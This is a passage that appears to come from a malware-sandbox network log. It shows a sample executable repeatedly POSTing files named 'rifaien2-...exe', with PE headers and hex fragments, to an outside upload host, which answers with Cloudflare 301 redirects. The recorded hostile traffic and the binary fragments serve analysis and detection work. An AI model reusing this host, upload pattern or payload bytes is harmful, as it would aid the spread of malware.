3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50616	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:55.195775986 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------7e6c9f54ab1f2ce6
Oct 10, 2024 21:02:55.647034883 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:55.648340940 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 65 36 63 39 66 35 34 61 62 31 66 32 63 65 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------7e6c9f54ab1f2ce6Content-Disposition: form-data; name="file[]"; filename="rifaien2-OEkS0r3Z3ATRkGxW.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:55.648421049 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:55.654113054 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:55.654113054 CEST	14832	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:55.654180050 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:55.654180050 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:55.659405947 CEST	12360	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:55.659574986 CEST	12360	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:55.659637928 CEST	9888	OUT	Data Raw: 10 89 91 24 04 00 00 89 81 20 dc c8 80 3d 10 19 2c 28 05 77 df c0 c9 19 55 10 7d 85 d2 89 81 10 15 89 91 14 be 21 8a 77 05 78 09 83 89 d1 40 eb 07 83 a1 17 41 2b fb 08 bf 2d 44 1c e6 00 6a 89 91 a4 2d 20 0a fa 23 87 df 53 d9 ee 8b 5d 08 d0 a9 a0 Data Ascii: $ =,(wU}!wx@A+-Dj- #S]]Tja~E7\|?pu"Gvww:X[o 01\|\|=VS7h(U2_?@wf#/s ;?w2%o1jh
Oct 10, 2024 21:02:55.659657001 CEST	4944	OUT	Data Raw: 91 93 33 76 b6 c7 41 52 41 41 43 cc f4 63 e4 3c 0d 0f 85 f1 b3 0c b4 01 31 0c 88 1d 60 f8 b0 c3 0d 8d 8b 90 14 85 d2 f2 7f ec 77 df 19 89 c1 8b 80 84 62 c6 04 10 0d 8b 81 09 44 02 01 0a 83 c2 db e1 de b3 02 0d 89 91 2d 1d ee d8 80 f4 32 fc 7e ff Data Ascii: 3vARAACc<1`wbD-2~u/j*}nGGg{eUsE`+pn@ 2lM\]~\96\|RO<&zvkh3BhWpM}{kU9>w@]x;tw9
Oct 10, 2024 21:02:55.955812931 CEST	823	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:55 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:55 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYN4vAa833clNdF%2BVav%2FYTqnDYQWC1DVsly31BNw4nIpr%2F4nqhFJMrjk28Zp6nNHoCVeAp%2FzXLJmZcSrWVj%2BxWyz3NzEJd0hQ7syOvt6LUFt2AvvuM%2FwxI%2B%2BZDy2grebdg9eZKXt1Vi5HA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de159a888c0f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50622	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:56.091661930 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e8cad9e8ec35c906
Oct 10, 2024 21:02:56.565066099 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:56.565958023 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 38 63 61 64 39 65 38 65 63 33 35 63 39 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e8cad9e8ec35c906Content-Disposition: form-data; name="file[]"; filename="rifaien2-A57jwvvBTZZBhtF8.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:56.566282034 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:56.571352959 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:56.571474075 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:56.571513891 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:56.571540117 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:56.571614981 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:56.571656942 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:56.571697950 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:56.571726084 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:56.901928902 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:56 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:56 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3FWaSSN%2BZJ7QooUHMXKBCwRWotB17p0hbfaMOYnWMddEV%2Fp9aTflSv4bevOG76TNWj6QsDOwYKLCuMpFx1tL1h8HWt7XxleL%2FEu5HTV9SBigZGeoYT9UvXuZ%2F2Xxmx0oBzu3XLV7Ylp4Mg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de1b5d0042c6-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50629	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:57.046953917 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------1558b441da3b1554
Oct 10, 2024 21:02:57.510922909 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:57.521339893 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 35 35 38 62 34 34 31 64 61 33 62 31 35 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------1558b441da3b1554Content-Disposition: form-data; name="file[]"; filename="rifaien2-vRPnVm1Qja67kBU8.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:57.521451950 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:57.526665926 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:57.527851105 CEST	17304	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:57.527983904 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:57.531805992 CEST	4944	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:57.532349110 CEST	2472	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:02:57.532496929 CEST	2472	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:02:57.533036947 CEST	2472	OUT	Data Raw: fb 89 75 80 80 b8 c5 75 3d 8b 80 e2 e0 5a 08 39 bc a2 72 83 9b d5 db 92 ff b1 46 5e 58 0a 0f 99 fa 6c 89 83 2e 0f 84 4b c5 0e 75 0d 74 84 a8 80 f4 c7 46 58 00 b3 a2 1e c1 c7 46 e0 e0 00 e2 ff ef c7 46 2c f2 f6 40 3c 07 74 13 8b 4d 9c 80 b9 44 67 Data Ascii: uu=Z9rF^Xl.KutFXFF,@<tMDg6tET~IuDE}9\u4s}t'wr&rt#L 9t$]X@gPjuu:#pII~utttl
Oct 10, 2024 21:02:57.533086061 CEST	7416	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:02:57.833695889 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:57 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:57 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y5xzyQMjEdg%2FHcAqW%2BCTb9nUNJznxs8lv4idf0vKv0g5y74ROdqPvi5Po8F6aNgqwtGVKSgLwvsID52PaiAYgcv0ofz%2Bj%2BtHlHanOS8UQptXc7tSvs5l7gdaQx%2BlecuacMuiEoKjSMPJxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de214c3fc34d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50635	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:57.967376947 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c7961b1416b16e47
Oct 10, 2024 21:02:58.558377028 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:58.559470892 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 37 39 36 31 62 31 34 31 36 62 31 36 65 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c7961b1416b16e47Content-Disposition: form-data; name="file[]"; filename="rifaien2-sz8sEdTvyndgp7Ss.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:58.559710979 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:58.565114975 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:58.565114975 CEST	9888	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
